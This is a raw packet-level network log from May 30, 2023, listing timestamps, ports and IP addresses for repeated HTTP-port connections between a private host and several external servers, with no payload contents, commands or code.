May 30, 2023 11:11:59.423752069 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.423818111 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423872948 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423918009 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.423948050 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.424047947 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.424164057 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.435136080 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435216904 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435276985 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435332060 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435388088 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435445070 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435498953 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.435540915 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435647964 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435667038 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.435754061 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435808897 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435863018 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435873032 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.435940027 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.435996056 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436055899 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.436160088 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436204910 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.436253071 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436310053 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436340094 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.436388969 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436445951 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436502934 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436527967 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.436584949 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.436609030 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.436862946 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.447698116 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.447777987 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.447835922 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.447891951 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.447947025 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448003054 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448071957 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.448143005 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448174953 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.448227882 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448286057 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448340893 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448398113 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448404074 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.448470116 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448479891 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.448544979 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448599100 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448664904 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448676109 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.448782921 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.448791981 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.449058056 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.449170113 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.460263968 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:12:04.449810028 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:04.616640091 CEST	80	49831	23.104.137.185	192.168.11.20
May 30, 2023 11:12:04.616933107 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:04.620038986 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:04.787960052 CEST	80	49831	23.104.137.185	192.168.11.20
May 30, 2023 11:12:04.788219929 CEST	80	49831	23.104.137.185	192.168.11.20
May 30, 2023 11:12:04.788259983 CEST	80	49831	23.104.137.185	192.168.11.20
May 30, 2023 11:12:04.788291931 CEST	80	49831	23.104.137.185	192.168.11.20
May 30, 2023 11:12:04.788433075 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:04.788501978 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:06.121073961 CEST	49831	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:07.136676073 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:07.303379059 CEST	80	49832	23.104.137.185	192.168.11.20
May 30, 2023 11:12:07.303683996 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:07.303762913 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:07.471477985 CEST	80	49832	23.104.137.185	192.168.11.20
May 30, 2023 11:12:07.471563101 CEST	80	49832	23.104.137.185	192.168.11.20
May 30, 2023 11:12:07.471618891 CEST	80	49832	23.104.137.185	192.168.11.20
May 30, 2023 11:12:07.471668005 CEST	80	49832	23.104.137.185	192.168.11.20
May 30, 2023 11:12:07.471726894 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:07.471813917 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:08.807987928 CEST	49832	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:09.823643923 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:09.990371943 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:09.990634918 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:09.991215944 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:09.991266966 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:09.991312981 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.157926083 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.158044100 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.158097982 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.158207893 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.158288956 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.158363104 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.158927917 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.159219980 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.159276962 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.159333944 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.159499884 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.324980021 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325068951 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325118065 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325164080 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325177908 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325268984 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325324059 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325412035 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325484991 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325496912 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325660944 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325664043 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325784922 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325836897 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:10.325903893 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325953007 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.325998068 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492194891 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492449999 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492522001 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492571115 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492615938 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492919922 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.492991924 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.493041039 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:10.493289948 CEST	80	49833	23.104.137.185	192.168.11.20
May 30, 2023 11:12:11.494890928 CEST	49833	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.510472059 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.677028894 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:12.677433014 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.677489996 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.844702005 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:12.844796896 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:12.844855070 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:12.844913006 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:12.845144033 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.845144033 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:12.845421076 CEST	49834	80	192.168.11.20	23.104.137.185
May 30, 2023 11:12:13.011837006 CEST	80	49834	23.104.137.185	192.168.11.20
May 30, 2023 11:12:17.853089094 CEST	49835	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:18.024054050 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.024429083 CEST	49835	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:18.024607897 CEST	49835	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:18.194825888 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.313868046 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.313889980 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.313919067 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.313935041 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.313950062 CEST	80	49835	199.192.30.147	192.168.11.20
May 30, 2023 11:12:18.314126968 CEST	49835	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:19.540046930 CEST	49835	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:20.555603027 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:20.725997925 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:20.726280928 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:20.726342916 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:20.896523952 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005604029 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005685091 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005747080 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005825043 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005860090 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:21.005920887 CEST	80	49836	199.192.30.147	192.168.11.20
May 30, 2023 11:12:21.005999088 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:21.006089926 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:22.226911068 CEST	49836	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.242641926 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.412694931 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.413089037 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.413603067 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.413707018 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.583579063 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.583643913 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.583690882 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.583729982 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.583750010 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.583935022 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.584084988 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.584229946 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.584422112 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.584590912 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.753231049 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.753319979 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.753367901 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.753429890 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.753587008 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.753750086 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.753794909 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.753997087 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.754168034 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.754225969 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.754338026 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:23.754426956 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.754914999 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.755233049 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.755291939 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.755536079 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.923258066 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.923322916 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.923367023 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.923707008 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:23.923923969 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052491903 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052575111 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052638054 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052691936 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052738905 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:24.052778006 CEST	80	49837	199.192.30.147	192.168.11.20
May 30, 2023 11:12:24.052875042 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:24.053073883 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:24.913928986 CEST	49837	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:25.929368019 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.099410057 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.099575996 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.099682093 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.269227028 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380362988 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380444050 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380503893 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380557060 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380604982 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:26.380721092 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.380722046 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.380780935 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.381025076 CEST	49838	80	192.168.11.20	199.192.30.147
May 30, 2023 11:12:26.550489902 CEST	80	49838	199.192.30.147	192.168.11.20
May 30, 2023 11:12:31.397217035 CEST	49839	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:31.407958031 CEST	80	49839	130.185.109.77	192.168.11.20
May 30, 2023 11:12:31.408246994 CEST	49839	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:31.408299923 CEST	49839	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:31.419111013 CEST	80	49839	130.185.109.77	192.168.11.20
May 30, 2023 11:12:31.419176102 CEST	80	49839	130.185.109.77	192.168.11.20
May 30, 2023 11:12:31.419224024 CEST	80	49839	130.185.109.77	192.168.11.20
May 30, 2023 11:12:31.419487953 CEST	49839	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:32.912208080 CEST	49839	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:33.927634001 CEST	49840	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:33.939047098 CEST	80	49840	130.185.109.77	192.168.11.20
May 30, 2023 11:12:33.939299107 CEST	49840	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:33.939418077 CEST	49840	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:33.950990915 CEST	80	49840	130.185.109.77	192.168.11.20
May 30, 2023 11:12:33.951101065 CEST	80	49840	130.185.109.77	192.168.11.20
May 30, 2023 11:12:33.951143980 CEST	80	49840	130.185.109.77	192.168.11.20
May 30, 2023 11:12:33.951366901 CEST	49840	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:35.442874908 CEST	49840	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.458462954 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.468750954 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.468940020 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.469614983 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480005980 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.480197906 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.480214119 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480380058 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.480386972 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480588913 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480588913 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480657101 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.480720043 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.480758905 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.480889082 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.481101990 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.490766048 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.490813971 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491025925 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.491087914 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491110086 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.491215944 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491451025 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:36.491492033 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491620064 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491898060 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.491992950 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.492265940 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.501607895 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.501737118 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.501991987 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.502161026 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.502422094 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.502583027 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.502783060 CEST	80	49841	130.185.109.77	192.168.11.20
May 30, 2023 11:12:36.503040075 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:37.973505020 CEST	49841	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:38.989070892 CEST	49842	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:39.000852108 CEST	80	49842	130.185.109.77	192.168.11.20
May 30, 2023 11:12:39.001115084 CEST	49842	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:39.001168013 CEST	49842	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:39.012764931 CEST	80	49842	130.185.109.77	192.168.11.20
May 30, 2023 11:12:39.012849092 CEST	80	49842	130.185.109.77	192.168.11.20
May 30, 2023 11:12:39.012913942 CEST	80	49842	130.185.109.77	192.168.11.20
May 30, 2023 11:12:39.013329029 CEST	49842	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:39.013387918 CEST	49842	80	192.168.11.20	130.185.109.77
May 30, 2023 11:12:39.025389910 CEST	80	49842	130.185.109.77	192.168.11.20
May 30, 2023 11:12:44.019706964 CEST	49843	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:44.175354004 CEST	80	49843	216.108.231.108	192.168.11.20
May 30, 2023 11:12:44.175539970 CEST	49843	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:44.175649881 CEST	49843	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:44.330996990 CEST	80	49843	216.108.231.108	192.168.11.20
May 30, 2023 11:12:45.128420115 CEST	80	49843	216.108.231.108	192.168.11.20
May 30, 2023 11:12:45.128462076 CEST	80	49843	216.108.231.108	192.168.11.20
May 30, 2023 11:12:45.128724098 CEST	49843	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:45.690604925 CEST	49843	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:46.706294060 CEST	49844	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:46.864109039 CEST	80	49844	216.108.231.108	192.168.11.20
May 30, 2023 11:12:46.864379883 CEST	49844	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:46.864459991 CEST	49844	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:47.021934032 CEST	80	49844	216.108.231.108	192.168.11.20
May 30, 2023 11:12:47.879964113 CEST	80	49844	216.108.231.108	192.168.11.20
May 30, 2023 11:12:47.879982948 CEST	80	49844	216.108.231.108	192.168.11.20
May 30, 2023 11:12:47.880218983 CEST	49844	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:48.377396107 CEST	49844	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.393065929 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.550573111 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.550792933 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.551434040 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.551518917 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.709045887 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709111929 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709157944 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709198952 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709243059 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.709300041 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709340096 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.709387064 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.709533930 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.709681988 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.866827011 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.866894960 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.866952896 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.866996050 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867014885 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.867060900 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.867086887 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867113113 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.867153883 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867194891 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867237091 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867279053 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867295980 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:49.867379904 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867420912 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867707968 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.867749929 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:49.908225060 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.024991035 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.025096893 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.025149107 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.025263071 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.025309086 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.549453974 CEST	80	49845	216.108.231.108	192.168.11.20
May 30, 2023 11:12:50.549534082 CEST	80	49845	216.108.231.108	192.168.11.20
